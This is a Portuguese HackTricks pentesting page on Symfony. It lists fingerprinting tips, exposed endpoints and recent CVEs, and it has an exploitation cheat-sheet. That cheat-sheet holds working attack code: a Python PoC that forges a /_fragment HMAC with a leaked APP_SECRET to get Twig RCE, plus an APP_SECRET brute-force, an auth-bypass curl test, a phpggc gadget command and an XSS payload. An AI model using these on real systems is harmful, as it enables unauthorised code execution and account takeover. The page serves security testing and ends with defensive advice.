Symfony

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Symfony é um dos frameworks PHP mais usados e aparece regularmente em avaliações de alvos enterprise, e-commerce e CMS (Drupal, Shopware, Ibexa, OroCRM … todos incorporam componentes do Symfony). Esta página reúne dicas ofensivas, configurações incorretas comuns e vulnerabilidades recentes que você deve ter na sua checklist ao encontrar uma aplicação Symfony.

Nota histórica: Grande parte do ecossistema ainda roda na branch 5.4 LTS (EOL novembro de 2025). Symfony 7.4 tornou-se o novo LTS em novembro de 2025 e receberá correções de segurança até novembro de 2029. Sempre verifique o nível exato de patch porque muitos avisos de 2024‑2026 foram corrigidos apenas em micro-releases.


Recon & Enumeration

Finger-printing

  • Cabeçalhos de resposta HTTP: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link ou cookies que começam com sf_redirect, sf_session, MOCKSESSID.
  • Source code leaks (composer.json, composer.lock, /vendor/…) frequentemente revelam a versão exata:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Rotas públicas que existem apenas no Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (páginas de erro amigáveis)
  • /app_dev.php, /config.php, /config_dev.php (front-controllers de dev pré-4.0)
  • Wappalyzer, BuiltWith ou wordlists para ffuf/feroxbuster: symfony.txt → procure por /_fragment, /_profiler, .env, .htaccess.

Interesting files & endpoints

PathPor que importa
/.env, /.env.local, /.env.prodFrequentemente implantados incorretamente → leaks APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgDivulgação do código-fonte → credenciais + lógica de negócio
/var/log/*.log, /log/dev.logConfiguração incorreta do web-root expõe stack-traces
/_profilerHistórico completo de requisições, configuração, service container, APP_SECRET (≤ 3.4)
/_fragmentPonto de entrada usado por ESI/HInclude. Abuso possível uma vez que você conheça APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE se acessível (CVE-2017-9841)
/index.php/_error/{code}Finger-print & às vezes leak exception traces

High-impact Vulnerabilities

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 originalmente, mas ainda aparece em alvos modernos quando o debug é deixado habilitado ou .env está exposto.
  • Uma vez que você conhece o APP_SECRET de 32 caracteres, construa um token HMAC e abuse do controller interno render() para executar Twig arbitrário:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Excelente write-up & script de exploração: Ambionics blog (linkado nas Referências).

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)

  • Afeta versões abaixo de 5.4.50, 6.4.29 e 7.3.7. A normalização de path poderia remover a / inicial, quebrando regras de controle de acesso que assumem /admin etc.
  • Teste rápido: curl -H 'PATH_INFO: admin/secret' https://target/index.php → se alcançar rotas admin sem auth, você encontrou.
  • Corrija atualizando symfony/http-foundation ou o framework completo para o patch fix.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • Afeta versões abaixo de 5.4.51, 6.4.33, 7.3.11, 7.4.5 e 8.0.5 no Windows quando o PHP é executado a partir do MSYS2 (Git-Bash, mingw). Process falha ao colocar aspas em = levando a paths corrompidos; comandos destrutivos (rmdir, del) podem direcionar dirs não-intencionados.
  • Se você puder fazer upload de um script PHP ou influenciar helpers do Composer/CLI que chamem Process, construa argumentos com = (ex.: E:/=tmp/delete) para causar reescrita de path.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • Quando register_argv_argc=On e usando runtimes não-SAPI, query strings construídas podem flipar APP_ENV/APP_DEBUG via parsing de argv. Corrigido em 5.4.46/6.4.14/7.1.7.
  • Procure por /?--env=prod ou similares sendo aceitos nos logs.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • Caracteres especiais na URI não eram validados do mesmo modo que os browsers, permitindo redirect para domínios controlados pelo atacante. Corrigido em 5.4.46/6.4.14/7.1.7.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-component & symfony/ux-live-component antes de 2.25.1 renderizam {{ attributes }} sem escaping → attribute injection/XSS. Se a app permite que usuários definam atributos de componentes (CMS admin, template de e-mail) você pode chamar isso para injetar script.
  • Atualize ambos os pacotes para 2.25.1+. Como exploit manual, coloque JS no valor de um atributo passado a um componente custom e dispare a renderização.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • O componente Process buscava o diretório de trabalho atual antes do PATH no Windows. Um atacante capaz de fazer upload de tar.exe, cmd.exe, etc. em um web-root gravável e disparar Process (ex.: extração de arquivos, geração de PDF) ganha execução de comandos.
  • Corrigido em 5.4.50, 6.4.14, 7.1.7.

8. Session-Fixation – CVE-2023-46733

  • O authentication guard reutilizava um session ID existente após o login. Se um atacante definir o cookie antes da vítima autenticar, ele sequestra a conta após o login.

9. Twig sandbox XSS – CVE-2023-46734

  • Em aplicações que expõem templates controlados por usuário (CMS admin, construtor de e-mails) o filtro nl2br podia ser abusado para contornar o sandbox e injetar JS.

10. Symfony 1 gadget chains (still found in legacy apps)

  • phpggc symfony/1 system id gera um payload Phar que aciona RCE quando um unserialize() ocorre em classes como sfNamespacedParameterHolder. Verifique endpoints de upload de arquivos e wrappers phar://.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce fraco APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via Symfony Console exposto

Se bin/console estiver acessível através de php-fpm ou upload direto por CLI:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Use deserialization gadgets dentro do diretório de cache ou escreva um template Twig malicioso que será executado na próxima requisição.

Teste rapidamente o bypass PATH_INFO (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

Se a saída renderizada imprimir o atributo sem escape, o XSS tem sucesso. Atualize para 2.25.1+.


Notas defensivas

  1. Nunca faça deploy do debug (APP_ENV=dev, APP_DEBUG=1) em produção; bloqueie /app_dev.php, /_profiler, /_wdt na configuração do servidor web.
  2. Armazene segredos em env vars ou vault/secrets.local.php, nunca em arquivos acessíveis pelo document-root.
  3. Implemente gerenciamento de patches – assine os advisories de segurança do Symfony e mantenha pelo menos o patch-level LTS (5.4.x até Nov 2025, 6.4 até Nov 2027, 7.4 até Nov 2029).
  4. Se você roda no Windows, atualize imediatamente para mitigar CVE-2024-51736 & CVE-2026-24739 ou adicione uma defesa em profundidade com open_basedir/disable_functions.

Ferramentas ofensivas úteis

  • ambionics/symfony-exploits – secret-fragment RCE, descoberta de rotas do debugger.
  • phpggc – gadget chains prontas para Symfony 1 & 2.
  • sf-encoder – pequeno helper para calcular _fragment HMAC (implementação em Go).

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks